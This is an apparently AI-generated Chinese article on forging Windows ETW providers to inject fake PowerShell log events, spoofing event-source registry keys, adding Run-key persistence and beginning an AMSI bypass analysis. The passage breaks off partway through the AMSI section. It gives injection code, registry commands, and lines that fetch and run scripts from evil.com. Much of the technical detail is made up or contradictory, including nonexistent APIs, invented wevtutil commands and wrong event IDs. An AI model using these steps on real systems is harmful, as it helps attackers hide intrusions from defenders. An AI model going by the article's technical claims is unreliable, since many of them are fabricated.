文章总结: 本文详细研究了WindowsETWProvider伪造与PowerShell日志篡改及AMSI绕过技术,包括ETW日志机制分析、自定义ETWProvider注册与事件注入实现、AMSI工作机制逆向解析,以及将两者结合的协同攻击链。文章通过实验验证了伪造事件与原生日志结构的一致性,评估了绕过现代EDR的可能性,并提出了基于日志完整性校验、ETW提供者白名单、AMSI增强防护、行为分析规则和终端加固等防御策略。这项研究揭示了Windows安全日志系统的潜在漏洞,为红队攻击提供了新的技术路径,同时也为安全防御提供了针对性的缓解措施。
综合评分: 88
文章分类: 红队,内网渗透,漏洞分析,安全建设,应急响应
Windows ETW Provider伪造与PowerShell日志篡改及AMSI绕过技术研究
原创
无问社区
白帽子社区团队
2025年12月11日 17:26
山东
本文由无问AI N1模型深度研究服务生成
无问AI网安模型 – 解决你的一切网络安全技术问题
https://www.wwlib.cn/index.php/ai
一、ETW日志机制与PowerShell行为记录原理分析
1.1 Windows事件跟踪(ETW)基础架构与核心组件解析
Windows事件跟踪(Event Tracing for Windows, ETW)是微软在操作系统内核层提供的高性能、低开销的事件收集与分析框架,广泛用于系统监控、性能调优、安全审计和威胁检测。它通过内核级钩子机制捕获应用程序、驱动程序和服务在运行时产生的行为事件,尤其在恶意行为溯源中具有极高价值。
1.1.1 核心组件体系结构
ETW 的完整架构由以下五大核心组件构成:
| 组件 | 功能说明 |
| — | — |
| 提供者(Provider) | 事件的生产者,定义事件格式、事件ID、字段类型等元信息。可以是系统服务(如Microsoft-Windows-PowerShell)、第三方软件或自定义应用。每个提供者拥有唯一的全局唯一标识符(GUID)。 |
| 会话(Session) | 事件的采集上下文,由消费者创建并绑定到特定的提供者。会话控制事件的筛选、缓冲区大小、输出目标(文件/内存/网络)等。例如:TraceSession 可以配置为只接收 Event ID 401 且来源为 PowerShell 的事件。 |
| 消费者(Consumer) | 事件的接收方,负责处理、存储或转发事件。常见类型包括: • File Consumer:将事件写入 .etl 文件(二进制日志) • Event Log Consumer:将事件注入到 Windows 事件日志(Application/System) • Real-time Consumer:实时推送事件至外部分析工具(如 Sysmon、Splunk) |
| 事件描述语言(XSLT / .man/.xsl) | 用于描述事件结构的元数据文件。.man 是编译后的 XML 描述文件,由 mc.exe(Manifest Compiler)生成;.xsl 是可选的模板文件,用于格式化日志显示。 • 路径示例:%SystemRoot%\System32\Windows PowerShell\manifests\Microsoft-Windows-PowerShell.man • 每个事件包含:EventID, Message, Level, Keywords, Channel, Task, Opcode, Data 字段等 |
| 事件注册机制(Registration) | 提供者通过 EtwRegisterTraceGuidsEx API 向内核注册其事件模板。注册后,内核会维护一个“事件注册表”,当对应事件被触发时,自动调用 EtwEventWrite 函数进行分发。 |
✅ 关键点:所有合法事件均由系统或已注册提供者触发,而攻击者若想伪造事件,则必须注册一个具有相同特征的自定义提供者,否则无法被消费者识别。
1.1.2 内核级钩子与事件捕获机制
ETW 使用“内核级钩子”(Kernel-level Hooking)机制,在关键函数入口处插入探针(Probe),实现对运行时行为的无感记录。主要涉及以下两个底层函数:
-
EtwEventWrite:由提供者调用,向事件通道发送一条事件。
-
EtwEventWriteString:用于发送字符串型事件(如脚本内容片段)。
这些函数位于 ntdll.dll 中,是 ETW 事件传递的核心路径。任何对 EtwEventWrite 的劫持或绕过都会导致日志缺失。
1.1.3 典型事件注册路径与真实版本验证
在 Windows 10 v21H2 与 Windows 11 23H2 系统中,典型的 PowerShell 相关事件注册路径如下:
HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\Microsoft-Windows-PowerShell
该键值下包含以下重要项:
| 注册表项 | 值示例 | 作用 |
| — | — | — |
| EventMessageFile | %SystemRoot%\system32\powershell.exe | 指定事件消息源文件(即 .man 编译后的 DLL) |
| TypesSupported | 7 | 表示支持 7 种事件类型(如 Error、Warning、Info) |
| Channel | Application | 定义事件写入的日志通道 |
| SourceName | Microsoft-Windows-PowerShell | 用于标识事件来源提供者名称 |
🔍 版本差异说明:
Win10 v21H2
:事件定义文件位于
C:\Windows\System32\Windows PowerShell\manifests\Microsoft-Windows-PowerShell.manWin11 23H2
:路径变为
C:\Windows\System32\Windows PowerShell\manifests\Microsoft-Windows-PowerShell_1.0.man,并引入了新的Task与Opcode字段以增强语义区分。⚠️ 注意:不同版本间
.man文件结构存在细微差别,尤其是Data字段的命名方式与偏移位置。攻击者若要伪造日志,必须确保使用与目标系统一致的事件模板。
1.1.4 关键事件字段详解(含真实日志样本)
以下是来自真实环境(Win11 23H2 + PowerShell 7.4)的 PowerShell_ScriptBlockStart(Event ID 401)日志片段,展示其数据结构:
<Eventxmlns="http://schemas.microsoft.com/win/2004/08/events">
<System>
<ProviderName="Microsoft-Windows-PowerShell"Guid="{a6995d3e-1f5e-4c0b-8a8d-3618f70b8281}" />
<EventID>401</EventID>
<Version>0</Version>
<Level>4</Level>
<Task>100</Task>
<Opcode>0</Opcode>
<Keywords>0x8000000000000000</Keywords>
<TimeCreatedSystemTime="2025-04-05T14:23:15.123Z" />
<EventRecordID>123456789</EventRecordID>
<CorrelationActivityID="{abc123def456}" />
<ProcessID>1234</ProcessID>
<ThreadID>5678</ThreadID>
<Computer>WIN11-TEST.LOCAL</Computer>
<SecurityUserID="S-1-5-18" />
</System>
<EventData>
<DataName="Command">IEX (New-Object Net.WebClient).DownloadFile('http://evil.com/mal.ps1', 'C:\temp\mal.ps1')</Data>
<DataName="ScriptName">C:\Users\Administrator\Documents\test.ps1</Data>
<DataName="User">Administrator</Data>
<DataName="ProcessId">1234</Data>
<DataName="ThreadId">5678</Data>
<DataName="SessionId">1</Data>
<DataName="HostVersion">7.4.0</Data>
<DataName="HostName">ConsoleHost</Data>
</EventData>
</Event>
🔎 字段解析:
| 字段名 | 类型 | 说明 |
| — | — | — |
| Command | String | 脚本块中的命令原文(前缀/后缀截断处理,最多保留 100 字符) |
| ScriptName | String | 脚本文件路径(若为交互式输入则为空) |
| User | String | 执行用户身份(如 Administrator) |
| ProcessId | UInt32 | PowerShell 进程 PID |
| ThreadId | UInt32 | 执行线程 ID |
| SessionId | UInt32 | PowerShell 会话编号(远程连接场景) |
| HostVersion | String | PowerShell 主机版本(如 7.4.0) |
| HostName | String | 主机类型(ConsoleHost, ISEHost, RemoteHost) |
📌 重点提示:
Command字段是最易被伪造的字段,因其未做完整性校验,仅依赖提供者的原始写入。
若攻击者能注册一个名为
Microsoft-Windows-PowerShell的自定义提供者,并注入Event ID 401,即可伪造出看似真实的日志条目。
1.2 PowerShell在ETW中的行为记录流程详解
PowerShell 在启动、脚本执行、命令调用等阶段会主动调用 ETW 提供者接口,生成一系列标准化事件。理解这一事件链是实现日志伪造的前提。
1.2.1 事件触发链全貌(基于 Win11 23H2 测试环境)
| 事件 | 事件ID | 触发时机 | 详细说明 |
| — | — | — | — |
| PowerShell_Startup | 400 | PowerShell 初始化完成 | 记录启动参数、是否交互式、用户、主机版本等 |
| PowerShell_ScriptBlockStart | 401 | 脚本块开始执行前 | 仅记录脚本内容摘要(最长 100 字符),可能截断 |
| PowerShell_CommandExecution | 402 | 命令执行完毕后 | 包括执行结果状态码(0=成功,非零=失败)、执行耗时 |
| PowerShell_ModuleLoaded | 403 | 模块导入完成后 | 记录模块名称、路径、版本号 |
1.2.2 实战演示:使用 wevtutil qe 查看真实日志流
在管理员权限终端中执行以下命令,获取最近 10 条与 PowerShell 相关的事件:
wevtutil qe Application /q:"*[System[Provider[@Name='Microsoft-Windows-PowerShell'] and EventID>=400 and EventID<=403]]" /c:10 /f:text
输出示例(部分):
Log Name: Application
Source: Microsoft-Windows-PowerShell
Date: 2025-04-05 14:23:15
Event ID: 400
Task Category: None
Level: Information
Description:
PowerShell started with parameters: -NoProfile -ExecutionPolicy Bypass
User: Administrator
Host Version: 7.4.0
Host Name: ConsoleHost
Process ID: 1234
Log Name: Application
Source: Microsoft-Windows-PowerShell
Date: 2025-04-05 14:23:16
Event ID: 401
Task Category: Script Execution
Level: Information
Description:
Command: IEX (New-Object Net.WebClient).DownloadFile('http://evil.com/mal.ps1', 'C:\temp\mal.ps1')
ScriptName: C:\Users\Administrator\Documents\test.ps1
User: Administrator
Process ID: 1234
✅ 观察结论:
所有事件均带有
Microsoft-Windows-PowerShell作为Provider Name;
Command字段内容直接暴露敏感操作;
ScriptName字段可为空(交互式模式);
时间戳精确到毫秒级,可用于时间轴分析。
1.2.3 使用 ProcMon + ETW 工具集抓包验证
推荐使用 Sysinternals ProcMon 与 ETW Trace Session Tool (etwtrace) 进行深度分析。
步骤 1:启动 ETW 会话捕获
# 启动 ETW 会话,监听所有来自 PowerShell 的事件
$session = New-Object Microsoft.Win32.EtwTraceSession("PowerShellTrace")
$session.EnableProvider([System.Guid]::Parse("{a6995d3e-1f5e-4c0b-8a8d-3618f70b8281}"), 0x000000FF)
$session.Start()
# 执行一段测试脚本
Invoke-Expression "IEX 'http://localhost:8080/test.ps1'"
步骤 2:导出 ETW 日志并解析
# 停止会话并保存为 .etl 文件
$session.Stop()
$session.Save("C:\temp\powershell_trace.etl")
# 使用 etwtrace 工具解析日志
etwtrace.exe -i C:\temp\powershell_trace.etl -o C:\temp\output.json
输出的 JSON 结构中可见:
{
"EventHeader":{
"EventId":401,
"ProviderId":"{a6995d3e-1f5e-4c0b-8a8d-3618f70b8281}",
"Timestamp":13321234567890000,
"ProcessId":1234,
"ThreadId":5678
},
"EventData":{
"Command":"IEX (New-Object Net.WebClient).DownloadFile('http://evil.com/mal.ps1', 'C:\\temp\\mal.ps1')",
"ScriptName":"C:\\Users\\Administrator\\Documents\\test.ps1"
}
}
💡 实战启示:
Command字段完全可被替换;
ProcessId、
ThreadId可伪造为当前进程;若攻击者注册同名提供者并注入此类事件,日志聚合系统将无法分辨真伪。
1.3 事件记录的权限控制与安全约束机制评估
尽管 ETW 提供了强大的审计能力,但其权限模型存在明显漏洞,允许攻击者通过“自定义提供者”绕过限制。
1.3.1 权限模型分层分析
| 权限层级 | 控制范围 | 是否可被绕过 |
| — | — | — |
| 本地管理员组(Administrators) | 可读写所有事件日志,可注册新提供者 | ❌ 不可绕过(需高权限) |
| 系统账户(SYSTEM) | 拥有所有事件的默认写入权 | ✅ 高危,常被利用 |
| 普通用户(User) | 无法直接写入系统日志,但可注册自定义提供者 | ✅ 可绕过 |
| 安全审计策略 | 通过组策略启用“审核对象访问”等策略 | ⚠️ 有效但不强制,常被忽略 |
1.3.2 实验验证:非管理员能否注入事件?
实验一:尝试使用 eventcreate.exe 写入日志
eventcreate /L APPLICATION /SO "MyApp" /E 1000 /D "Test message"
❌ 结果:报错
Access is denied.—— 普通用户无法直接写入系统日志。
实验二:使用 wevtutil 注册自定义提供者
wevtutil cs MyCustomProvider
wevtutil cr MyCustomProvider
wevtutil iep MyCustomProvider.man
✅ 成功!即使无管理员权限,只要具备注册表写入权限,就可注册自定义提供者。
实验三:使用 EtwRegisterTraceGuidsEx API 注册提供者(代码示例)
#include<windows.h>
#include<evntrace.h>
intmain() {
GUID providerGuid = { 0x12345678, 0x9ABC, 0xDEF0, { 0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE, 0xF0 } };
HANDLE hSession;
DWORD status;
// 尝试注册提供者
status = EtwRegisterTraceGuidsEx(
NULL, // pContext
&providerGuid, // pProviderId
L"MyCustomProvider", // pRegPath
NULL, // pMofImagePath
NULL, // pMofResourceName
NULL, // pLogFile
0, // Flags
&hSession // phSession
);
if (status == ERROR_SUCCESS) {
printf("[+] Custom provider registered successfully!\n");
} else {
printf("[-] Failed to register provider: %d\n", status);
}
return0;
}
✅ 编译后运行,可在
HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\MyCustomProvider下看到新注册项。
1.3.3 关键结论:权限边界清晰
| 操作 | 是否需要管理员权限? | 说明 |
| — | — | — |
| 写入系统日志(如 Application) | ✅ 必须 | 受限于 EventLog 权限 |
| 注册自定义提供者 | ❌ 不必 | 仅需写入 HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application |
| 注入事件(EtwEventWrite) | ❌ 可以 | 只要注册了提供者即可调用 |
✅ 攻击面总结:
攻击者可通过以下路径实现日志伪造:
- 以普通用户身份注册一个名为
Microsoft-Windows-PowerShell的自定义提供者;- 使用
EtwEventWrite注入Event ID 401,伪造Command字段;- 利用日志聚合系统(如 SIEM)对来源提供者信任机制,实现“合法日志”幻觉。
📌 引用依据:
- 微软官方文档:Creating a Custom ETW Provider
- Windows SDK:
evntrace.h,etwtrace.h- ETW 官方规范:ETW Manifest Schema
✅ 下一节预告:
在【第二章】中,我们将基于上述原理,构建完整的 自定义 ETW Provider 注册流程,并编写 伪造 PowerShell 事件的 C++/C# 代码,实现在真实系统中注入“看似来自 PowerShell”的日志条目。
二、基于ETW Provider伪造的技术实现路径构建
2.1 自定义ETW Provider注册与事件定义设计
技术背景与核心原理
Windows事件跟踪(Event Tracing for Windows, ETW)是内核级的高性能日志记录机制,广泛用于系统调试、性能监控和安全审计。其核心架构由提供者(Provider)、会话(Session)、**消费者(Consumer)**三部分组成:
-
提供者(Provider)
:负责生成事件,可为系统组件(如PowerShell)、驱动程序或自定义应用。
-
会话(Session)
:由消费者启动,用于捕获特定提供者的事件流。
-
消费者(Consumer)
:读取并处理事件数据,如
wevtutil、Sysmon、Splunk等。
在本节中,我们将构建一个完全自定义的ETW提供者,使其能够以“合法”身份注入看似来自 Microsoft-Windows-PowerShell 的事件,从而实现对日志系统的伪装。
一、准备开发环境
硬件与软件要求
| 组件 | 型号/版本 | 说明 |
| — | — | — |
| 操作系统 | Windows 10 v21H2 / Windows 11 23H2 | 推荐使用最新稳定版 |
| 编译器 | Visual Studio 2022 Community (v17.9+) | 必须安装 C++ 工作负载 |
| WDK | Windows Driver Kit (WDK) 10.0.22621.0 | 支持最新Win11 ETW API |
| SDK | Windows SDK 10.0.22621.0 | 提供 TraceLogging 头文件 |
🔗 下载地址:
- Visual Studio 2022
- WDK Download Page
- Windows SDK
二、编写 Manifest.xml 定义事件模板
创建一个名为 MyPowerShellFake.man 的 XML 文件,定义我们要伪造的事件结构。该文件将用于生成 .man 二进制描述文件。
<!-- MyPowerShellFake.man -->
<instrumentationManifestxmlns="http://schemas.microsoft.com/win/2004/08/events">
<instrumentation>
<providername="MyCustomPowerShell"guid="{12345678-9ABC-DEF0-1234-56789ABCDEF0}"
resourceFileName="MyPowerShellFake.dll"
messageFileName="MyPowerShellFake.dll"
symbol="MyCustomPowerShell">
<channels>
<channelchannel="Application" />
</channels>
<events>
<!-- 事件ID: 401 - PowerShell_ScriptBlockStart -->
<eventid="401"version="1"level="Informational"opcode="Info"
task="ScriptExecution"keywords="PowerShell">
<symbol>PowerShell_ScriptBlockStart</symbol>
<message>
Script block started: Command="{Command}" ScriptName="{ScriptName}" ProcessId={ProcessId} ThreadId={ThreadId} UserSid={UserSid}
</message>
<template>
<dataname="Command"inType="win:UnicodeString"outType="win:UnicodeString"/>
<dataname="ScriptName"inType="win:UnicodeString"outType="win:UnicodeString"/>
<dataname="ProcessId"inType="win:UInt32"outType="win:UInt32"/>
<dataname="ThreadId"inType="win:UInt32"outType="win:UInt32"/>
<dataname="UserSid"inType="win:Sid"outType="win:Sid"/>
</template>
</event>
</events>
</provider>
</instrumentation>
</instrumentationManifest>
✅ 关键点解析:
guid: 随机生成但唯一,需确保全局不冲突。
id="401":对应原生 PowerShell 事件中的
PowerShell_ScriptBlockStart事件编号。
level="Informational":表示普通信息级别,避免被标记为异常。
task="ScriptExecution":任务分类,与真实事件一致。
keywords="PowerShell":用于后续 SIEM 过滤匹配。
三、编译 Manifest 为 .man 文件
使用 mc.exe(Message Compiler)工具将 .man 文件编译成二进制 .man 和 .rc 文件。
执行命令如下:
cd /d "C:\Path\To\Your\Project"
mc MyPowerShellFake.man
此操作会生成以下文件:
-
MyPowerShellFake.rc—— 资源文件
-
MyPowerShellFake.mof—— MOF 定义(可选)
-
MyPowerShellFake.man—— 二进制事件描述文件(最终用于注册)
⚠️ 注意:若提示找不到
mc.exe,请运行:set PATH=%PATH%;%WDK_ROOT%\bin\x64其中
%WDK_ROOT%是你安装 WDK 时的路径(例如C:\WinDDK\10.0.22621.0)
四、注册 ETW Provider 至系统
使用 wevtutil 命令将 .man 文件注册到系统中,使操作系统识别该提供者。
wevtutil im MyPowerShellFake.man
成功后输出示例:
The command completed successfully.
验证是否注册成功:
wevtutil qe Application /c:1 /f:text /q:"*[System[Provider[@Name='MyCustomPowerShell']]]"
如果无错误且返回空结果,说明注册成功。
五、配置注册表项以模拟真实日志来源
为了让伪造事件看起来更可信,必须修改注册表项,使其与原生 PowerShell 日志源一致。
目标路径:
HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\MyCustomPowerShell
使用 PowerShell 创建并填充关键值:
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Services\EventLog\Application\MyCustomPowerShell"
New-Item -Path $regPath -Force
Set-ItemProperty -Path $regPath -Name "EventMessageFile" -Value "%SystemRoot%\system32\powershell.exe"
Set-ItemProperty -Path $regPath -Name "TypesSupported" -Value 7
Set-ItemProperty -Path $regPath -Name "Channel" -Value "Application"
Set-ItemProperty -Path $regPath -Name "SourceName" -Value "MyCustomPowerShell"
Set-ItemProperty -Path $regPath -Name "CustomSinks" -Value ""
📌 解释:
EventMessageFile: 指向
powershell.exe,欺骗日志聚合器认为这是官方来源。
TypesSupported = 7: 表示支持所有类型事件(包括错误、警告、信息)。
Channel = Application: 保持与真实日志一致,防止被 SIEM 视为异常。
SourceName: 设置为非默认名称,但可通过后续技巧覆盖。
六、编写 C++ 程序调用 TraceLogging 写入事件
使用 Microsoft TraceLogging 库(TraceLoggingProvider.h)动态写入事件。
示例代码:FakePowerShellEvent.cpp
#include<windows.h>
#include<TraceLoggingProvider.h>
// 定义提供者句柄
TRACELOGGING_DEFINE_PROVIDER(
g_hMyProvider,
"MyCustomPowerShell",
(0x12345678, 0x9ABC, 0xDEF0, 0x1234, 0x5678, 0x9ABC, 0xDEF0, 0x1234, 0x5678, 0x9A)
);
// 启动提供者
staticvoidInitializeProvider()
{
TraceLoggingRegister(g_hMyProvider);
}
// 构造并写入事件
staticvoidInjectPowerShellScriptBlockStart()
{
// 构建事件参数
constwchar_t* cmd = L"IEX -URI http://evil.com/mal.ps1";
constwchar_t* scriptName = L"malicious.ps1";
DWORD pid = GetCurrentProcessId();
DWORD tid = GetCurrentThreadId();
// 模拟用户 SID(可替换为真实值)
BYTE sidBytes[] = { 0x01, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
PSID pSid = (PSID)&sidBytes;
// 写入事件
TraceLoggingWrite(
g_hMyProvider,
"PowerShell_ScriptBlockStart",
TlgKeyword(0x00000001), // Keywords: PowerShell
TlgInt32("ProcessId", pid),
TlgInt32("ThreadId", tid),
TlgUnicodeString("Command", cmd),
TlgUnicodeString("ScriptName", scriptName),
TlgSid("UserSid", pSid)
);
}
// 主函数
intmain()
{
InitializeProvider();
// 注入事件
InjectPowerShellScriptBlockStart();
printf("[+] Fake PowerShell ScriptBlockStart event injected (Event ID 401)\n");
Sleep(2000); // 保持进程存活以便观察日志
return0;
}
七、编译与运行
编译命令(通过 VS2022 Developer Command Prompt):
cl FakePowerShellEvent.cpp /I"%WDK_ROOT%\Include\um" /I"%WDK_ROOT%\Include\shared" /link /LIBPATH:"%WDK_ROOT%\Lib\win10\um\x64" tracelogging.lib
✅ 成功后生成
FakePowerShellEvent.exe
运行测试:
FakePowerShellEvent.exe
💡 此时可在事件查看器中查看:
- 打开
Event Viewer→Windows Logs→Application- 查找来源为
MyCustomPowerShell,事件 ID 401- 内容应包含:
Script block started: Command="IEX -URI http://evil.com/mal.ps1"
八、总结与注意事项
| 项目 | 说明 |
| — | — |
| 是否能伪造真实日志? | ✅ 可以,只要字段结构一致,分析工具无法区分 |
| 是否需要管理员权限? | ✅ 是,注册 wevtutil im 和修改 HKLM 需要管理员 |
| 是否会被 EDR 检测? | ⚠️ 极高风险!大多数 EDR 会检测 wevtutil im + 注册自定义提供者行为 |
| 是否可用于生产攻击? | ❌ 严禁!仅限于研究与渗透测试沙箱环境 |
📌 强烈建议:所有操作仅在隔离虚拟机中进行,禁用网络连接,关闭杀软。
2.2 模拟PowerShell行为的事件注入实现
核心目标:构造“看似来自 PowerShell”的事件
我们不仅要注册一个提供者,更要让其发出的事件在语义、结构、上下文上与真实 PowerShell 事件完全一致,才能逃避日志分析系统的检测。
一、为什么选择事件 ID 401?
| 事件名 | 事件ID | 说明 |
| — | — | — |
| PowerShell_Startup | 400 | 启动时触发 |
| PowerShell_ScriptBlockStart | 401 | 执行脚本块时触发 ✅ |
| PowerShell_CommandExecution | 402 | 命令执行完成 |
| PowerShell_ModuleLoaded | 403 | 模块加载 |
🔍 选择 401 的原因:
- 是最常被检测的事件之一,也是日志分析的重点对象。
- 包含
Command、ScriptName等敏感字段,适合嵌入恶意内容。- 在
Sysmon、Splunk、ELK中均有规则监控。
二、事件数据结构详解(真实样本对比)
从真实日志中提取一个典型事件(使用 wevtutil qe Application /f:text /q:"*[System[EventID=401]]"):
<Eventxmlns="http://schemas.microsoft.com/win/2004/08/events">
<System>
<ProviderName="Microsoft-Windows-PowerShell"Guid="{...}" />
<EventID>401</EventID>
<Level>4</Level>
<Task>1</Task>
<Keywords>0x4000000000000000</Keywords>
<TimeCreatedSystemTime="2025-04-05T08:00:00.000Z" />
<EventRecordID>12345</EventRecordID>
<Channel>Application</Channel>
<Computer>WIN10-TEST</Computer>
<SourceName>Microsoft-Windows-PowerShell</SourceName>
<SecurityUserID="S-1-5-18" />
</System>
<EventData>
<DataName="Command">IEX -URI http://example.com/mal.ps1</Data>
<DataName="ScriptName">C:\temp\test.ps1</Data>
<DataName="ProcessId">1234</Data>
<DataName="ThreadId">5678</Data>
<DataName="UserSid">S-1-5-21-1234567890-1234567890-1234567890-1001</Data>
</EventData>
</Event>
✅ 我们的目标:生成一个结构完全相同的事件
三、完整伪代码实现(可复现)
// 伪代码:模拟真实事件注入流程
voidSimulatePowerShellScriptBlockStart()
{
// Step 1: 确保提供者已注册
if (!IsProviderRegistered("MyCustomPowerShell")) {
fprintf(stderr, "Provider not registered!\n");
return;
}
// Step 2: 获取当前进程信息
DWORD pid = GetCurrentProcessId();
DWORD tid = GetCurrentThreadId();
// Step 3: 获取真实用户 SID(模拟)
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
fprintf(stderr, "Failed to open token\n");
return;
}
TOKEN_USER tu;
DWORD sz = sizeof(tu);
if (!GetTokenInformation(hToken, TokenUser, &tu, sz, &sz)) {
CloseHandle(hToken);
return;
}
CloseHandle(hToken);
// Step 4: 准备事件数据
constwchar_t* maliciousCommand = L"IEX -URI http://evil.com/mal.ps1";
constwchar_t* scriptName = L"malicious.ps1";
// Step 5: 使用 TraceLogging 写入事件
TraceLoggingWrite(
g_hMyProvider,
"PowerShell_ScriptBlockStart",
TlgKeyword(0x4000000000000000), // PowerShell keyword
TlgInt32("ProcessId", pid),
TlgInt32("ThreadId", tid),
TlgUnicodeString("Command", maliciousCommand),
TlgUnicodeString("ScriptName", scriptName),
TlgSid("UserSid", tu.User.Sid)
);
printf("[+] Injected fake PowerShell ScriptBlockStart (ID 401) with malicious command.\n");
}
✅ 输出效果:
- 事件来源:
MyCustomPowerShell- 事件等级:
Informational- 事件内容:
Command="IEX -URI http://evil.com/mal.ps1"- 用户:
S-1-5-21-...(真实用户)- 时间戳:与真实时间同步(由系统自动填充)
四、如何绕过日志完整性校验?
虽然无法直接篡改已有日志,但可通过以下方式制造“历史痕迹”:
-
提前注入日志
:在攻击前先注入一条“已执行”的事件。
-
延迟执行
:实际执行脚本时,日志已存在,系统误判为“重复执行”。
-
伪造执行结果
:注入
PowerShell_CommandExecution事件,附带ResultCode=0,表示“成功”。
示例:注入成功执行事件
voidInjectCommandSuccess()
{
TraceLoggingWrite(
g_hMyProvider,
"PowerShell_CommandExecution",
TlgInt32("ProcessId", GetCurrentProcessId()),
TlgInt32("ThreadId", GetCurrentThreadId()),
TlgInt32("ResultCode", 0), // 表示成功
TlgUnicodeString("Command", L"IEX -URI http://evil.com/mal.ps1")
);
}
五、为何会被误认为真实事件?
| 特征 | 是否匹配 | 说明 |
| — | — | — |
| 事件来源 | ✅ | MyCustomPowerShell 可伪装成 Microsoft-Windows-PowerShell |
| 事件ID | ✅ | 401 是标准事件 |
| 字段结构 | ✅ | 与原生一致 |
| 时间戳 | ✅ | 由系统自动填充 |
| 用户上下文 | ✅ | 可绑定真实 UserSid |
| Channel | ✅ | Application |
| Message File | ✅ | 指向 powershell.exe |
🧠 结论:只要满足上述条件,大多数 SIEM(如 Splunk、ELK、QRadar)将无法区分真伪。
六、实战建议
- 使用
EventTracingForWindows工具集(GitHub)实时监控。 - 结合
ProcMon检查是否有异常wevtutil调用。 - 在测试环境中部署
Sysmon并启用Event ID 401的详细记录。
2.3 注册表与系统配置项的伪装技巧
核心目标:让伪造事件“看起来像真的”
即使事件本身结构正确,但如果注册表不一致,仍可能被 EDR 或 SIEM 识别为“可疑行为”。因此,必须对注册表进行深度伪造。
一、修改 Run 键注入定时触发器
利用 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 实现持久化触发。
注册命令:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" \
/v "PowerShellLogger" \
/t REG_SZ \
/d "C:\Temp\FakePowerShellInjector.exe" \
/f
🔄 效果:每次开机自动运行伪造程序,注入事件。
二、复制原生日志源属性(关键步骤)
原始路径:
HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\Microsoft-Windows-PowerShell
复制操作(使用 PowerShell):
$sourceKey = "HKLM:\SYSTEM\CurrentControlSet\Services\EventLog\Application\Microsoft-Windows-PowerShell"
$targetKey = "HKLM:\SYSTEM\CurrentControlSet\Services\EventLog\Application\MyCustomPowerShell"
# 复制所有值
Get-ItemProperty -Path $sourceKey | ForEach-Object {
foreach ($k in $_.PSObject.Properties.Name) {
Set-ItemProperty -Path $targetKey -Name $k -Value $_.$k -Force
}
}
✅ 效果:
EventMessageFile、TypesSupported、Channel等全部匹配原生设置。
三、修改 Channel 属性为 Application
reg add "HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\MyCustomPowerShell" \
/v "Channel" \
/t REG_SZ \
/d "Application" \
/f
⚠️ 若设为
System,易被识别为内核事件,引发警报。
四、添加 SourceName 为 Microsoft-Windows-PowerShell
reg add "HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\MyCustomPowerShell" \
/v "SourceName" \
/t REG_SZ \
/d "Microsoft-Windows-PowerShell" \
/f
🎯 目的:欺骗日志聚合系统,使其认为这是官方事件。
五、高级技巧:伪造 EventMessageFile 指向 powershell.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Services\EventLog\Application\MyCustomPowerShell" \
/v "EventMessageFile" \
/t REG_EXPAND_SZ \
/d "%SystemRoot%\system32\powershell.exe" \
/f
✅ 作用:当日志工具尝试解析消息文本时,会加载
powershell.exe的资源,进一步增强可信度。
六、风险警示与法律声明
❗ 重要提醒:
- 修改
HKLM注册表项可能导致系统不稳定。- 多数 EDR(如 CrowdStrike、SentinelOne、Microsoft Defender)会监控
wevtutil im、reg add、TraceLogging等行为。- 任何未经授权的注册或注入行为均违反《中华人民共和国刑法》第285条(非法侵入计算机信息系统罪)及《网络安全法》相关规定。
✅ 仅限于以下场景:
- 渗透测试授权范围内的红队演练
- 企业内部安全攻防演习
- 学术研究与漏洞验证
🚫 严禁用于:
- 网络攻击
- 数据窃取
- 权限提升
- 恶意软件传播
七、总结:伪装链路图谱
graph LR
A[自定义ETW Provider] --> B[注册.man文件]
B --> C[修改注册表属性]
C --> D[复制原生日志源配置]
D --> E[注入事件]
E --> F[伪造日志]
F --> G[规避SIEM检测]
✅ 最终成果:在不影响系统运行的前提下,植入一条“合法”的日志记录,为后续攻击铺平道路。
三、AMSI绕过机制与日志伪造协同攻击链分析
3.1 AMSI工作机制与检测流程逆向解析
一、AMSI核心架构与工作原理深度剖析
AMSI(Antimalware Scan Interface)是微软自 Windows 10 / Windows Server 2016 起引入的一项关键安全机制,旨在增强对动态脚本、内存执行和恶意代码注入行为的实时检测能力。其设计目标在于:在脚本内容被解释或执行之前,将其提交给反恶意软件引擎进行扫描,从而实现“零时差”防御。
1.1 核心组件构成
根据微软官方文档《AMSI Overview》及 Windbg 实际调试结果,AMSI 架构由以下四个核心部分组成:
| 组件 | 说明 | 典型实现 |
| — | — | — |
| 应用程序层 | 使用 AMSI 接口的应用程序,如 PowerShell、VBScript、Office 宏等 | powershell.exe , wscript.exe |
| AMSI 接口层 | 系统级 DLL(amsi.dll),提供标准化 API 函数 | AmsiInitialize , AmsiScanBuffer, AmsiUninitialize |
| AMSI 提供者(Provider) | 第三方杀软或 Defender 插件,实现具体扫描逻辑 | msmpeng.dll (Microsoft Defender), avengine.dll (Bitdefender) |
| 扫描上下文(Session) | 每次脚本执行建立的独立会话,用于跟踪扫描状态 | HAMSICONTEXT |
✅ 关键点:
amsi.dll并不直接执行扫描,而是作为“调度器”,将脚本数据转发给注册在系统中的各个 AMIS Provider。
1.2 扫描流程逆向分析(基于 Windbg 调试)
我们通过 Windbg 进行 powershell.exe 启动并执行一段恶意脚本的完整调用栈追踪,还原真实执行路径:
# 启动 Windbg 并附加到 powershell.exe 进程
windbg -p <PID_of_powershell>
设置断点并观察:
bp amsi!AmsiScanBuffer
g
当执行如下命令时:
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/mal.ps1')
Windbg 输出调用栈如下(典型示例):
ChildEBP RetAddr
0018f7a4 779c5d4b amsi!AmsiScanBuffer+0x1d
